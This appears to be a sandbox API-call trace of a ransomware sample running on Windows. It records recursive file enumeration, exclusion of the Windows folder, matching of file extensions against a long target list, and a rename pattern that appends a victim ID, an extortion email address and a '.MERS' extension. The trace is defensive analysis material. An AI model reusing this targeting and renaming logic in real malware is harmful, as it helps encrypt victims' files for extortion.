[0274.084] lstrlenW (lpString=".zip") returned 4 [0274.084] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0274.084] lstrlenW (lpString=".rar") returned 4 [0274.084] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString=".bz2") returned 4 [0274.084] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString=".7z") returned 3 [0274.084] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.084] lstrlenW (lpString=".dbf") returned 4 [0274.084] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.084] lstrlenW (lpString=".1cd") returned 4 [0274.084] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0274.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL") returned 58 [0274.084] lstrlenW (lpString=".jpg") returned 4 [0274.084] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0274.084] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0274.084] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0274.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0274.106] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x34aff1c | out: lpFileSize=0x34aff1c*=16256) returned 1 [0274.106] CloseHandle (hObject=0x3d4) returned 1 [0274.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0274.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0274.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.108] lstrlenW (lpString=".doc") returned 4 [0274.108] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0274.108] lstrlenW (lpString=".docx") returned 5 [0274.108] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0274.108] lstrlenW (lpString=".pdf") returned 4 [0274.108] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0274.108] lstrlenW (lpString=".xls") returned 4 [0274.108] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0274.108] lstrlenW (lpString=".xlsx") returned 5 [0274.109] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0274.109] lstrlenW (lpString=".ppt") returned 4 [0274.109] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString=".zip") returned 4 [0274.109] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString=".rar") returned 4 [0274.109] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString=".bz2") returned 4 [0274.109] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0274.109] lstrlenW (lpString=".7z") returned 3 [0274.109] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString=".dbf") returned 4 [0274.109] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString=".1cd") returned 4 [0274.109] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString=".jpg") returned 4 [0274.109] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.109] lstrlenW (lpString=".doc") returned 4 [0274.109] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString=".docx") returned 5 [0274.109] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0274.109] lstrlenW (lpString=".pdf") returned 4 [0274.109] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0274.109] lstrlenW (lpString=".xls") returned 4 [0274.110] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0274.110] lstrlenW (lpString=".xlsx") returned 5 [0274.110] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0274.110] lstrlenW (lpString=".ppt") returned 4 [0274.110] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.110] lstrlenW (lpString=".zip") returned 4 [0274.110] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0274.110] lstrlenW (lpString=".rar") returned 4 [0274.110] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0274.110] lstrlenW (lpString=".bz2") returned 4 [0274.110] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0274.110] lstrlenW (lpString=".7z") returned 3 [0274.110] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.110] lstrlenW (lpString=".dbf") returned 4 [0274.110] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.110] lstrlenW (lpString=".1cd") returned 4 [0274.110] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0274.110] lstrlenW (lpString=".jpg") returned 4 [0274.110] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0274.110] lstrcmpiW (lpString1=".ICO", lpString2=".MERS") returned -1 [0274.110] lstrlenW (lpString="FOLDER.ICO") returned 10 [0274.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 100 os_tid = 0x700 [0257.789] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x3b51908 [0257.790] lstrlenW (lpString="C:") returned 2 [0257.790] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x35efd00 | out: lpFindFileData=0x35efd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x63ed08 [0257.790] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0257.790] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0257.790] lstrlenW (lpString="$Recycle.Bin") returned 12 [0257.790] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0257.790] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4530048 [0257.790] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0257.790] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63ed48 [0257.791] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.791] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0257.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0257.791] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0257.791] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0257.791] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0257.791] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xfffe) returned 0x4540050 [0257.791] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0257.791] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63ed88 [0257.791] FindNextFileW (in: hFindFile=0x63ed88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.791] FindNextFileW (in: hFindFile=0x63ed88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x10fd7120, ftCreationTime.dwHighDateTime=0x1d50336, ftLastAccessTime.dwLowDateTime=0x10fd7120, ftLastAccessTime.dwHighDateTime=0x1d50336, ftLastWriteTime.dwLowDateTime=0x10fd7120, ftLastWriteTime.dwHighDateTime=0x1d50336, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0257.791] lstrlenW (lpString="desktop.ini") returned 11 [0257.791] lstrlenW (lpString=".1cd") returned 4 [0257.791] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0257.791] lstrlenW (lpString=".3ds") returned 4 [0257.791] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0257.791] lstrlenW (lpString=".3fr") returned 4 [0257.791] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0257.791] lstrlenW (lpString=".3g2") returned 4 [0257.791] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".3gp") returned 4 [0257.792] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".7z") returned 3 [0257.792] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0257.792] lstrlenW (lpString=".accda") returned 6 [0257.792] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".accdb") returned 6 [0257.792] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".accdc") returned 6 [0257.792] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".accde") returned 6 [0257.792] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".accdt") returned 6 [0257.792] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".accdw") returned 6 [0257.792] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0257.792] lstrlenW (lpString=".adb") returned 4 [0257.792] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".adp") returned 4 [0257.792] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai") returned 3 [0257.792] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0257.792] lstrlenW (lpString=".ai3") returned 4 [0257.792] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai4") returned 4 [0257.792] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai5") returned 4 [0257.792] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai6") returned 4 [0257.792] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai7") returned 4 [0257.792] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".ai8") returned 4 [0257.792] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0257.792] lstrlenW (lpString=".anim") returned 5 [0257.792] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0257.793] lstrlenW (lpString=".arw") returned 4 [0257.793] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".as") returned 3 [0257.793] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0257.793] lstrlenW (lpString=".asa") returned 4 [0257.793] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".asc") returned 4 [0257.793] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".ascx") returned 5 [0257.793] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0257.793] lstrlenW (lpString=".asm") returned 4 [0257.793] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".asmx") returned 5 [0257.793] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0257.793] lstrlenW (lpString=".asp") returned 4 [0257.793] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".aspx") returned 5 [0257.793] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0257.793] lstrlenW (lpString=".asr") returned 4 [0257.793] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".asx") returned 4 [0257.793] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".avi") returned 4 [0257.793] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".avs") returned 4 [0257.793] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".backup") returned 7 [0257.793] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0257.793] lstrlenW (lpString=".bak") returned 4 [0257.793] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".bay") returned 4 [0257.793] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".bd") returned 3 [0257.793] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0257.793] lstrlenW (lpString=".bin") returned 4 [0257.793] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0257.793] lstrlenW (lpString=".bmp") returned 4 [0257.794] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".bz2") returned 4 [0257.794] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".c") returned 2 [0257.794] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0257.794] lstrlenW (lpString=".cdr") returned 4 [0257.794] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cer") returned 4 [0257.794] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cf") returned 3 [0257.794] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0257.794] lstrlenW (lpString=".cfc") returned 4 [0257.794] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cfm") returned 4 [0257.794] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cfml") returned 5 [0257.794] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0257.794] lstrlenW (lpString=".cfu") returned 4 [0257.794] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".chm") returned 4 [0257.794] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cin") returned 4 [0257.794] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".class") returned 6 [0257.794] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0257.794] lstrlenW (lpString=".clx") returned 4 [0257.794] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".config") returned 7 [0257.794] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0257.794] lstrlenW (lpString=".cpp") returned 4 [0257.794] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".cr2") returned 4 [0257.794] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".crt") returned 4 [0257.794] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0257.794] lstrlenW (lpString=".crw") returned 4 [0257.795] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".cs") returned 3 [0257.795] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0257.795] lstrlenW (lpString=".css") returned 4 [0257.795] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".csv") returned 4 [0257.795] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".cub") returned 4 [0257.795] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dae") returned 4 [0257.795] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dat") returned 4 [0257.795] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".db") returned 3 [0257.795] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0257.795] lstrlenW (lpString=".dbf") returned 4 [0257.795] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dbx") returned 4 [0257.795] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dc3") returned 4 [0257.795] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dcm") returned 4 [0257.795] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dcr") returned 4 [0257.795] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".der") returned 4 [0257.795] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dib") returned 4 [0257.795] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dic") returned 4 [0257.795] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".dif") returned 4 [0257.795] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0257.795] lstrlenW (lpString=".divx") returned 5 [0257.795] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0257.795] lstrlenW (lpString=".djvu") returned 5 [0257.796] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".dng") returned 4 [0257.796] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".doc") returned 4 [0257.796] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".docm") returned 5 [0257.796] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".docx") returned 5 [0257.796] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".dot") returned 4 [0257.796] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dotm") returned 5 [0257.796] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".dotx") returned 5 [0257.796] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".dpx") returned 4 [0257.796] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dqy") returned 4 [0257.796] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dsn") returned 4 [0257.796] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dt") returned 3 [0257.796] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0257.796] lstrlenW (lpString=".dtd") returned 4 [0257.796] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dwg") returned 4 [0257.796] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dwt") returned 4 [0257.796] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".dx") returned 3 [0257.796] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0257.796] lstrlenW (lpString=".dxf") returned 4 [0257.796] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0257.796] lstrlenW (lpString=".edml") returned 5 [0257.796] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0257.796] lstrlenW (lpString=".efd") returned 4 [0257.796] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".elf") returned 4 [0257.797] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".emf") returned 4 [0257.797] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".emz") returned 4 [0257.797] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".epf") returned 4 [0257.797] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".eps") returned 4 [0257.797] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".epsf") returned 5 [0257.797] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0257.797] lstrlenW (lpString=".epsp") returned 5 [0257.797] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0257.797] lstrlenW (lpString=".erf") returned 4 [0257.797] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".exr") returned 4 [0257.797] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".f4v") returned 4 [0257.797] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".fido") returned 5 [0257.797] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0257.797] lstrlenW (lpString=".flm") returned 4 [0257.797] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".flv") returned 4 [0257.797] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".frm") returned 4 [0257.797] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".fxg") returned 4 [0257.797] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".geo") returned 4 [0257.797] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".gif") returned 4 [0257.797] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".grs") returned 4 [0257.797] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0257.797] lstrlenW (lpString=".gz") returned 3 [0257.798] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0257.798] lstrlenW (lpString=".h") returned 2 [0257.798] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0257.798] lstrlenW (lpString=".hdr") returned 4 [0257.798] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".hpp") returned 4 [0257.798] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".hta") returned 4 [0257.798] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".htc") returned 4 [0257.798] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".htm") returned 4 [0257.798] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 